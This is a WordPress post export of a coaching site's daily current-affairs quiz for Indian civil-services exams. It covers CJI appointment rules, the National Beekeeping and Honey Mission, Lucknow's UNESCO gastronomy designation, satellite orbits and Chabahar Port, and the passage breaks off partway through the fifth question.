{"id":2676,"date":"2025-11-04T03:51:30","date_gmt":"2025-11-04T03:51:30","guid":{"rendered":"https:\/\/iasquest.com\/?p=2676"},"modified":"2026-02-11T18:49:16","modified_gmt":"2026-02-11T18:49:16","slug":"daily-current-affairs-03-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-03-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 03.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With reference to Indian Judiciary, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. According to Article 124, every judge of the Supreme Court shall be appointed by the President by warrant under his hand and seal.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. According to the constitution of India, the seniormost Judge of the Supreme Court considered fit to hold the office should be appointed as the Chief Justice of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>In NEWS:<\/strong> Justice <strong>Surya Kant<\/strong> to take over as<strong> 53rd Chief Justice of India<\/strong> on <strong>November 24<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Appointment of Supreme Court Judges:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>The Chief Justice of India and the Judges of the Supreme Court are appointed by the <strong>President <\/strong>under <strong>clause (2) of Article 124<\/strong> of the Constitution. <strong>Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>CHIEF JUSTICE OF INDIA :<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li>Appointment to the office of the Chief Justice of India should be of the <strong>seniormost Judge of the Supreme Court<\/strong> considered fit to hold the office. <strong>The Union Minister of Law, Justice and Company Affairs<\/strong> would, at the appropriate time, seek the recommendation of the outgoing Chief Justice of India for the appointment of the next Chief Justice of India.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">1. Whenever there is any doubt about the fitness of the seniormost Judge to hold the office of the Chief Justice of India, consultation with other Judges as envisaged in <strong>Article 124 (2)<\/strong> of the Constitution would be made for appointment of the next Chief Justice of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">2. After receipt of the recommendation of the Chief Justice of India, the Union Minister of Law, Justice and Company Affairs will put up the recommendation to the Prime Minister who will advise the President in the matter of appointment.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li>According to Article 124, every judge of the Supreme Court shall be appointed by the <strong>President by warrant under his hand and seal<\/strong> after consultation with such Judges of the Supreme Court and of the High Courts in the States as the President may deem necessary for this purpose.<\/li>\n\n\n\n<li>S\/he shall hold office until the age of <strong>65 years,<\/strong> provided that in the case of appointment of a Judge other than the Chief Justice, the Chief Justice of India shall always be consulted.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Qualifications<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li>A person shall not be qualified for appointment as a Judge of the Supreme Court unless,\n<ul class=\"wp-block-list\">\n<li>She\/he is a <strong>citizen of India<\/strong> and has been for at least<strong> five years a Judge of a High Court<\/strong> or of two or more such Courts in succession; or has been for at least <strong>ten years an advocate of a High Court<\/strong> or of two or more such Courts in succession; or is, in the <strong>opinion of the President, a distinguished jurist.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The senior most judge was surpassed for the appointment as the Chief Justice of India 3 times in the history of the Supreme Court of India.<\/li>\n\n\n\n<li><strong>It is customary, and not law<\/strong>, that the most senior judge of the Supreme Court, at the time when the current Chief Justice of India (CJI) retires, becomes the next CJI. The seniority is measured by the length of service on the Supreme Court. <strong>Hence statement 2 is incorrect.<\/strong><ul><li>The first time this convention was breached was in February <strong>1964<\/strong>, when <strong>Gajendragadkar J superseded Imam J<\/strong>, who was seriously unwell.<\/li><\/ul><ul><li>The second breach was when <strong>A.N. Ray J <\/strong>was appointed as the CJI on April 25, <strong>1973<\/strong>, by superseding three senior-most judges (<strong>Shelat, Hegde and Grover JJ<\/strong>). The supersession was made on the day following the Supreme Court\u2019s judgment in Keshavanada Bharati v State of Kerala.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>The custom was sidestepped for a third time in <strong>1977 <\/strong>when <strong>M H Beg J superseded H R Khanna J<\/strong>. When the first Chief Justice of the Supreme Court of India, Harilal Kania J, passed away in 1951, on hearing the rumour that the government is contemplating appointing somebody other than the senior-most justice, all the judges threatened to resign if the seniority norm was not followed.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><br><strong>Q. With reference to Indian Judiciary, consider the following statements:<\/strong> <br><br>1. Any retired judge of the Supreme Court of India can be called back to sit and act as a Supreme Court judge by the Chief Justice of India with prior permission of the president of India. <br>2. A High Court in India has the power to review its own judgement as the Supreme Court does. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 only <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/justice-surya-kant-appointed-as-the-53rd-chief-justice-of-india\/article70221463.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/justice-surya-kant-appointed-as-the-53rd-chief-justice-of-india\/article70221463.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>2. Regarding &#8216;The National Beekeeping and Honey Mission (NBHM)&#8217;, which of the following statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">1. The National Beekeeping and Honey Mission (NBHM) is a Central Sector Scheme launched by the Government of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">2. The scheme NBHM is being implemented by the National Bee Board (NBB).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">3. As per the Agricultural and Processed Food Products Export Development Authority (APEDA), India is the second largest exporter of honey, after China<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Select the correct answer using the codes given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>In NEWS: <\/strong>National Beekeeping &amp; Honey Mission &#8211; Bringing Sweet Revolution: Buzzing for a Better India<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"635\" height=\"363\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image.png\" alt=\"\" class=\"wp-image-2677\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image.png 635w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-300x171.png 300w\" sizes=\"auto, (max-width: 635px) 100vw, 635px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>The National Beekeeping and Honey Mission (NBHM)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-35\">\n<li>The <strong>National Beekeeping and Honey Mission (NBHM)<\/strong> is a <strong>Central Sector Scheme<\/strong> launched by the Government of India for the <strong>overall promotion and development of scientific beekeeping<\/strong> and the <strong>production of quality honey and other beehive products<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Implemented through the <strong>National Bee Board (NBB)<\/strong>, the scheme was announced under the banner of <strong>Atmanirbhar Bharat<\/strong> with a total budget outlay of <strong>\u20b9500 crore for three years (FY 2020\u201321 to 2022\u201323)<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>It has since been <strong>extended for another three years (FY 2023\u201324 to 2025\u201326)<\/strong> with a <strong>remaining budget of \u20b9370 crore<\/strong> from the original allocation.<\/li>\n\n\n\n<li>Beekeeping, an <strong>agro-based activity<\/strong> undertaken by farmers and landless labourers in rural areas, forms an integral part of the <strong>Integrated Farming System<\/strong>.\n<ul class=\"wp-block-list\">\n<li><strong>Integrated farming<\/strong> (or integrated agriculture) is a commonly and broadly used word to explain a more integrated approach to farming as compared to existing monoculture approaches. <strong>It refers to agricultural systems that integrate livestock, fisheries, crop production, horticulture, etc<\/strong>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>It plays a crucial role in <strong>pollination<\/strong>, thereby enhancing <strong>crop yields<\/strong> and <strong>farmers\u2019 income<\/strong> while providing <strong>honey and other high-value beehive products<\/strong> such as beeswax, bee pollen, propolis, royal jelly, bee venom, etc., all of which serve as important sources of livelihood for rural communities.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Export of Natural Honey from India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-37\">\n<li>India exports a variety of natural honey like Rapeseed\/Mustard Honey, Eucalyptus Honey, Lychee Honey, Sunflower Honey, etc.<\/li>\n\n\n\n<li>Major Indian states producing honey are: <strong>Uttar Pradesh (17%), West Bengal (16%), Punjab (14%), Bihar (12%) and Rajasthan (9%)<\/strong>.<\/li>\n\n\n\n<li>India exported around <strong>1.07 lakh metric tonnes (MT)<\/strong> of natural honey worth <strong>USD 177.52 million<\/strong> in <strong>FY 2023-24<\/strong>.<\/li>\n\n\n\n<li>Major export destinationsincluded the <strong>U.S.A, UAE, Saudi Arabia, Qatar and Libya<\/strong>.<\/li>\n\n\n\n<li>As per the <strong>July 2025 Monthly Dashboard for Honey,<\/strong> prepared jointly by the <strong>Agricultural and Processed Food Products Export Development Authority (APEDA)<\/strong> and Crisil, globally, India is the <strong>second largest exporter of honey<\/strong>, after China, as of marketing year 2024, up from the 9th rank in 2020. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>National Bee Board (NBB)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-39\">\n<li><strong>National Bee Board<\/strong> was registered as a society under <strong>Societies Registration Act XXI of 1860<\/strong>, on <strong>July 19, 2000,<\/strong> and was <strong>reconstituted<\/strong> under the Chairmanship of Secretary (A&amp;C) in <strong>June, 2006<\/strong>.<\/li>\n\n\n\n<li>The main objective of NBB is overall development, promotion of scientific beekeeping in the country to increase the productivity of crops through pollination and increase the honey production for increasing the income of the beekeepers\/farmers.<\/li>\n\n\n\n<li>NBB has been designated\/recognized as <strong>Nodal Agency<\/strong> for overall development\/promotion of scientific beekeeping in the country.<\/li>\n\n\n\n<li>The scheme <strong>NBHM is being implemented by NBB.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><br><strong>Q. How does the National Rural Livelihood Mission seek to improve livelihood options of rural poor?<\/strong><br><br>1. By setting up a large number of new manufacturing industries and agribusiness centres in rural areas <br>2. By strengthening \u2018self-help groups\u2019 and providing skill development <br>3. By supplying seeds, fertilizers, diesel pump-sets and micro-irrigation equipment free of cost to farmers <br><br><strong>Select the correct answer using the codes given below:<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 2 only<\/strong> <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2185400\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2185400<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>3. Consider the following pairs:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>S.no<\/strong><\/td><td><strong>UNESCO\u2019s&nbsp; designated Creative City<\/strong><\/td><td><strong>Field<\/strong><\/td><\/tr><tr><td>\u00a01<\/td><td>Jaipur<\/td><td>Crafts &amp; Folk Art<\/td><\/tr><tr><td>\u00a02<\/td><td>Chennai<\/td><td>Film<\/td><\/tr><tr><td>\u00a03<\/td><td>Mumbai<\/td><td>Music<\/td><\/tr><tr><td>\u00a04<\/td><td>Lucknow<\/td><td>Gastronomy<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>How many of the Pairs given above are correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>In NEWS:<\/strong> Lucknow declared UNESCO \u2018Creative City of Gastronomy\u2019<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Lucknow \u2013 UNESCO Creative City of Gastronomy (2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-51\">\n<li><strong>Lucknow<\/strong> has been designated as a <strong>UNESCO Creative City of Gastronomy<\/strong> in <strong>October 2025<\/strong>.<\/li>\n\n\n\n<li>The recognition was announced at the <strong>43rd UNESCO General Conference<\/strong> in <strong>Samarkand, Uzbekistan<\/strong>.<\/li>\n\n\n\n<li>Lucknow is the <strong>second Indian city<\/strong> to receive this title \u2014 after <strong>Hyderabad<\/strong> (recognized in 2019).<\/li>\n\n\n\n<li>The nomination was submitted by the <strong>Uttar Pradesh Directorate of Tourism<\/strong> through the <strong>Union Ministry of Culture<\/strong>.<\/li>\n\n\n\n<li>The city joins the <strong>UNESCO Creative Cities Network (UCCN)<\/strong>, which promotes culture-based sustainable urban development.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Why Lucknow Was Selected<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-53\">\n<li>Lucknow is historically known as the <strong>City of Nawabs<\/strong> and the <strong>heart of Awadhi cuisine<\/strong>.<\/li>\n\n\n\n<li>It represents a <strong>blend of royal culinary traditions<\/strong> and <strong>inclusive street food culture<\/strong>.<\/li>\n\n\n\n<li>Signature dishes include <strong>Galouti Kebabs, Awadhi Biryani, Tokri Chaat, Makhan Malai, Sheermal, and Nihari<\/strong>.<\/li>\n\n\n\n<li>The cuisine reflects <strong>cultural harmony<\/strong>, combining <strong>Hindu and Mughal culinary practices<\/strong>.<\/li>\n\n\n\n<li>The city maintains a <strong>living food ecosystem<\/strong> \u2014 from heritage royal kitchens to small vendors and family-run eateries.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>About the UNESCO Creative Cities Network (UCCN)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-55\">\n<li>Established by <strong>UNESCO in 2004<\/strong> to promote cooperation among cities using <strong>culture and creativity<\/strong> as drivers of sustainable development.<\/li>\n\n\n\n<li>Covers <strong>7 fields<\/strong>: Literature, Music, Crafts &amp; Folk Art, Design, Media Arts, Film, and Gastronomy.<\/li>\n\n\n\n<li>As of 2025, <strong>350+ cities<\/strong> are part of the UCCN.<\/li>\n\n\n\n<li>In India, member cities include:<ul><li><strong>Jaipur<\/strong> \u2013 Crafts &amp; Folk Art<\/li><\/ul><ul><li><strong>Varanasi<\/strong> \u2013 Music<\/li><\/ul><ul><li><strong>Chennai<\/strong> \u2013 Music<\/li><\/ul><ul><li><strong>Hyderabad<\/strong> \u2013 Gastronomy<\/li><\/ul><ul><li><strong>Mumbai<\/strong> \u2013 Film<\/li><\/ul><ul><li><strong>Srinagar<\/strong> \u2013 Crafts &amp; Folk Art<\/li><\/ul><ul><li><strong>Gwalior <\/strong>\u2013 Music<\/li><\/ul><ul><li><strong>Kozhikode <\/strong>&#8211;&nbsp; Literature<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Lucknow<\/strong> \u2013 Gastronomy (2025 addition)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Hence 1 and 4 are correctly matched.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>Significance of the Recognition<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-58\">\n<li>Promotes <strong>cultural diplomacy<\/strong> and <strong>soft power<\/strong> through cuisine and heritage.<\/li>\n\n\n\n<li>Enhances <strong>food tourism<\/strong> and <strong>local economic development<\/strong>.<\/li>\n\n\n\n<li>Encourages <strong>sustainable urban development<\/strong> through culinary heritage preservation.<\/li>\n\n\n\n<li>Supports <strong>women entrepreneurs<\/strong> and <strong>small-scale food vendors<\/strong> in the local food ecosystem.<\/li>\n\n\n\n<li>Highlights <strong>Awadhi cuisine<\/strong> on the <strong>global culinary map<\/strong>.<\/li>\n\n\n\n<li>Aligns with India\u2019s initiatives under <strong>Azadi Ka Amrit Mahotsav<\/strong> and <strong>Dekho Apna Desh<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Consider the following properties included in the World Heritage List released by UNESCO:<\/strong> <br><br>1. Shantiniketan. <br>2. Rani-ki-Vav <br>3. Sacred Ensembles of the Hoysalas <br>4. Mahabodhi Temple Complex at Bodhgaya <br><br><strong>How many of the above properties were included in 2023?<\/strong> <br><br>(a) Only one <br><strong>(b) Only two<\/strong> <br>(c) Only three <br>(d) All four<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/uttar-pradesh\/lucknow-enters-unesco-list-as-creative-city-of-gastronomy\/article70229854.ece#:~:text=Lucknow%20has%20officially%20been%20declared,traditions%20and%20inclusive%20cultural%20heritage\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/uttar-pradesh\/lucknow-enters-unesco-list-as-creative-city-of-gastronomy\/article70229854.ece#:~:text=Lucknow%20has%20officially%20been%20declared,traditions%20and%20inclusive%20cultural%20heritage<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>4. Which among the following best describes the term \u2018Geosynchronous Transfer Orbit (GTO)\u2019 ?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(a) A circular orbit above the equator where a satellite appears stationary relative to the Earth.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">(b) An elliptical orbit used to transfer a satellite from low Earth orbit (LEO) to geostationary orbit (GEO).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">(c) An orbit in which a satellite passes over both poles during each revolution.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">(d) A medium Earth orbit primarily used for navigation satellites like NavIC or GPS.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Answer: (b) An elliptical orbit used to transfer a satellite from low Earth orbit (LEO) to geostationary orbit (GEO).<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>In NEWS:<\/strong> ISRO launches advanced GSAT-7R, India\u2019s heaviest communication satellite<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>GSAT-7R<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-69\">\n<li><strong>GSAT-7R<\/strong> is an <strong>Indian military communication satellite<\/strong> developed by ISRO.<\/li>\n\n\n\n<li>It is intended to provide <strong>secure real-time communication for the Indian Navy<\/strong>.<\/li>\n\n\n\n<li>Serves as an <strong>upgrade to GSAT-7<\/strong>, enhancing network-centric operations and data sharing among naval assets.<\/li>\n\n\n\n<li>Operates in <strong>Geostationary Orbit (GEO)<\/strong> to cover wide oceanic regions.<\/li>\n\n\n\n<li>Part of India\u2019s <strong>strategic defense satellite program<\/strong> for secure military communications. <strong>Hence option (b) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Geosynchronous Transfer Orbit (GTO):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-71\">\n<li><strong>Geosynchronous Transfer Orbit (GTO)<\/strong> is an <strong>elliptical Earth orbit<\/strong> used to transfer a satellite from <strong>low Earth orbit (LEO)<\/strong> to a <strong>geosynchronous orbit (GEO)<\/strong>.<\/li>\n\n\n\n<li>It serves as an <strong>intermediate orbit<\/strong> \u2014 a stepping stone for satellites to reach their final <strong>circular geosynchronous orbit<\/strong> (~35,786 km altitude).<\/li>\n\n\n\n<li>A <strong>launch vehicle<\/strong> places the satellite in GTO; the satellite then uses its <strong>onboard propulsion system<\/strong> (apogee kick motor) to circularize the orbit at geosynchronous altitude.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Other important Space orbitals:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-73\">\n<li><strong>Low Earth Orbit (LEO)<\/strong> \u2013 160\u20132,000 km above Earth, ~90\u2013120 min orbit; used for Earth observation, remote sensing, ISS, small satellites.<\/li>\n\n\n\n<li><strong>Medium Earth Orbit (MEO)<\/strong> \u2013 2,000\u201335,786 km altitude, 2\u201312 hr orbit; mainly for navigation satellites like GPS, Galileo, NavIC.<\/li>\n\n\n\n<li><strong>Geosynchronous Orbit (GSO)<\/strong> \u2013 24-hour orbital period matching Earth\u2019s rotation; satellite returns to same sky position daily.<\/li>\n\n\n\n<li><strong>Geostationary Orbit (GEO)<\/strong> \u2013 Circular GSO above equator at 35,786 km; satellite appears stationary, used for TV, communication, weather.<\/li>\n\n\n\n<li><strong>Geosynchronous Transfer Orbit (GTO)<\/strong> \u2013 Elliptical orbit from LEO \u2192 GEO with perigee ~250\u2013300 km and apogee ~35,786 km; used for satellite deployment.<\/li>\n\n\n\n<li><strong>Polar Orbit<\/strong> \u2013 Passes over both poles, ~700\u2013800 km altitude; covers the whole Earth over time, used for mapping, reconnaissance, environmental monitoring.<\/li>\n\n\n\n<li><strong>Sun-Synchronous Orbit (SSO)<\/strong> \u2013 Special polar orbit maintaining constant local solar time; used for uniform lighting in imaging satellites.<\/li>\n\n\n\n<li><strong>Hohmann Transfer Orbit<\/strong> \u2013 Energy-efficient transfer orbit between two circular orbits; basis for LEO \u2192 GTO \u2192 GEO transitions.<\/li>\n\n\n\n<li><strong>Escape Velocity<\/strong> \u2013 Minimum speed to break free from Earth\u2019s gravity, ~11.2 km\/s; used in interplanetary missions.<\/li>\n\n\n\n<li><strong>Lagrange Points (L1\u2013L5)<\/strong> \u2013 Points where Earth\u2019s and Sun\u2019s gravity balance; ideal for space observatories and missions like Aditya-L1.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2011)<\/strong> <br><br><strong>Q. Satellites used for telecommunication relay are kept in a geostationary orbit. A satellite is said to be in such as orbit when:<\/strong> <br><br>1. The orbit is geosynchronous. <br>2. The orbit is circular. <br>3. The orbit lies in the plane of the earth\u2019s equator. <br>4. The orbit is at an altitude of 22,236 km. <br><br><strong>Select the correct answer using the codes given below:<\/strong> <br><br><strong>(a) 1, 2 and 3 only<\/strong> <br>(b) 1, 3 and 4 only <br>(c) 2 and 4 only <br>(d) 1, 2, 3 and 4<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/isros-lvm3-m5-rocket-with-heaviest-communication-satellite-lifts-off\/article70232624.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/isros-lvm3-m5-rocket-with-heaviest-communication-satellite-lifts-off\/article70232624.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>5. Which of the following statements about Chabahar Port is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">1. It is located in Iran on the Gulf of Oman.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">2. It provides India direct access to Afghanistan and Central Asia bypassing Pakistan.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">3. It is part of the China-Pakistan Economic Corridor (CPEC).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Select the correct answer using the codes below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">(a) 1 and 2 